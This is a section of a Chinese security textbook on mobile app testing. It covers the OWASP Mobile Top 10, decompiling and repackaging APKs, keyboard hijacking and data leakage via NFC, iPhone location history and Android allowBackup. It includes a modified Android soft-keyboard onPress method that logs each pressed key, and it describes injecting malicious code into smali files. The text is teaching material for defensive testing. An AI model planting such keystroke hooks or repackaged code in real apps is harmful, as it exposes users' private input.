3 APP安全测试概要
2016 OWASPMobile TOP 10排名如下。
•不当的平台使用。
•不安全的数据存储。
•不安全的通信。
•不安全的身份验证。
•加密不足。
•不安全的授权。
•客户端代码质量。
•代码篡改。
•逆向工程。
•无关的功能。
这里介绍一下“逆向工程-反编译测试”“键盘劫持”和“信息泄露”。
3.1逆向工程-反编译测试
对于安卓源代码是Java文件,正向编译过程是把.java->.jar->.apk。而反编译过程正好相反.apk ->.jar->.java。获取了Java源代码,一来可以获取代码信息,二来可以在代码中加入恶意代码,比如信息窃听器,然后再编译成apk文件(这就是所谓的二次编译)。
为了隐藏Java代码,一般可以用代码混淆器对代码混淆后再编译成APK文件。常用的安卓代码混淆器包括安卓SDK自带的Proguard(第11.1节对Proguard工具进行了详细地介绍)、网易易盾、360加固保等。代码混淆可以基于Java语言,但是更安全的是基于C语言。
有时候逆向工程.apk ->.jar->.java往往不太可靠,黑客会使用类似于apktool把.apk文件反编译成smail文件,正如第11.4.2节对apktool工具介绍中所述,smail文件是一种基于Android的汇编语言,具有自己的语法规则。黑客根据smail的语法规则,把恶意代码注入在smail文件中,然后通过类似Smali2Java的工具把smail文件转换成Java文件。然后再进行正向编译形成.apk文件。混淆对二次编译是没有作用的,防止二次编译的有效措施是使用加固软件对代码进行加固处理。
苹果也同样存在反编译、二次编译的漏洞,同样需要代码混淆和加固。
3.2键盘劫持
键盘劫持是程序记录下每一个按键的键入顺序从而获取用户隐私信息的手段,下面代码利用android键盘钩子达到按键劫持的目的。它获取android SDK提供的com_example_android_softkeyboard例子程序,然后,修改OnPress()
public void onPress(int primaryCode) { int iKeyboardResId; int iCode; String sLabel; String name ; LatinKeyboard CurrentKeyboard; StringBuilder sb = new StringBuilder(""); //android.os.Debug.waitForDebugger(); if(mInputView == null) return; KeyboardcurrentKeyboard = mInputView.getKeyboard(); CurrentKeyboard = (LatinKeyboard)currentKeyboard; iKeyboardResId = CurrentKeyboard.mXmlResId; //Log.d("XL: onPress rid", String.valueOf(iKeyboardResId)); XmlResourceParser parser = getResources().getXml(iKeyboardResId); inteventCode; try { eventCode = parser.getEventType(); while (eventCode != XmlResourceParser.END_DOCUMENT) { //如果是开始标签 if (eventCode == XmlResourceParser.START_TAG) { //获取标签名称 name = parser.getName(); // Log.d("XL: onPress LableName", name); //判断标签名称是否等于key if(name.equals("Key")) { //获得标签属 sLabel = parser.getAttributeNamespace(0); sLabel =parser.getAttributeValue(sLabel, "codes"); //iCode = parser.getAttributeIntValue(0, -1); //Log.d("XL: onPress keyCode",String.valueOf(iCode)); //Log.d("XL: onPress keyCode primaryCode",String.valueOf(primaryCode)); iCode = Integer.parseInt(sLabel); if( iCode == primaryCode) { sLabel =parser.getAttributeNamespace(0); sLabel =parser.getAttributeValue(sLabel, "keyLabel"); //Log.d("XL: onPress keyCode",String.valueOf(iCode)); //Log.d("XL: onPress keylabel", sLabel); sb.append("你按下的是: " + sLabel + "键" +"\n"); break; } } } else if (eventCode == XmlPullParser.END_TAG) { } else if (eventCode == XmlPullParser.TEXT) { } //下一个标签 eventCode = parser.next(); } //while } catch(XmlPullParserException e) { e.printStackTrace(); } catch (IOExceptionse) { e.printStackTrace(); } Log.d("[XL]", sb.toString()); }
防止键盘劫持的方法是使用安全键盘,这就是几乎所有的银行APP或网站都提供内置的软键盘。
3.3信息泄露
造成信息泄露可能由以下原因造成。
•手机中了木马。
•使用了黑客的钓鱼WiFi,或者是自己的WiFi被别人蹭网。
•由于弱密码,撞库或服务商漏洞等各种方式使得手机服务账号被盗。(撞库指的是利用其它网站中的用户名或密码试图登录本网站且登录成功)。
•拥有隐私权限的APP厂商服务器被黑客拖库。
•通过伪基站短信等途径访问了钓鱼网站,导致重要的账号密码泄露。
•使用了恶意充电宝等黑客攻击设备。
•GSM制式网络被黑客监听短信。
•通过NFC卡泄露。
•厂商故意行为。
1. 近场通信(Near Field Communication,简称NFC)
如果你的手机是安卓手机,可以做个试验,把安卓手机的NFC功能打开,靠近一张带芯片的银行卡,你会发现银行卡上的一些基本信息在手机上被获取。由于苹果手机的NFC功能只有使用applepay的情况下才可以被自动打开,所以比较安全。现在发现一些不法分子用一个打开NFC功能的安卓手机在公交站、公交车,地铁等人口比较密集地区,在人员裤子口袋处乱碰以获取被害人的银行卡信息。但是大家放心,NFC仅能获取银行卡中的一些基本信息,而支付是实现不了的。
2. iPhone中的重要地点
在苹果手机中,点击设置->隐私->定位服务->系统服务->重要地点->输入iPhone密码就可以获得你最近去过的地方。如图4-55所示。
图4-55 iPhone中的重要地点
苹果公司一直不承认这个功能暴露了用户的隐私,如果你不愿意让别人获取到你去过的地方的信息,请关闭这个功能。
3. 安卓应用数据备份
在安卓的AndroidManifest.xml中。
<application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" android:allowBackup="true" >
当allowBackup标志为true时,用户可通过adb backup来进行对应用数据的备份,在无root的情况下可以导出应用中存储的所有数据,造成用户数据的严重泄露。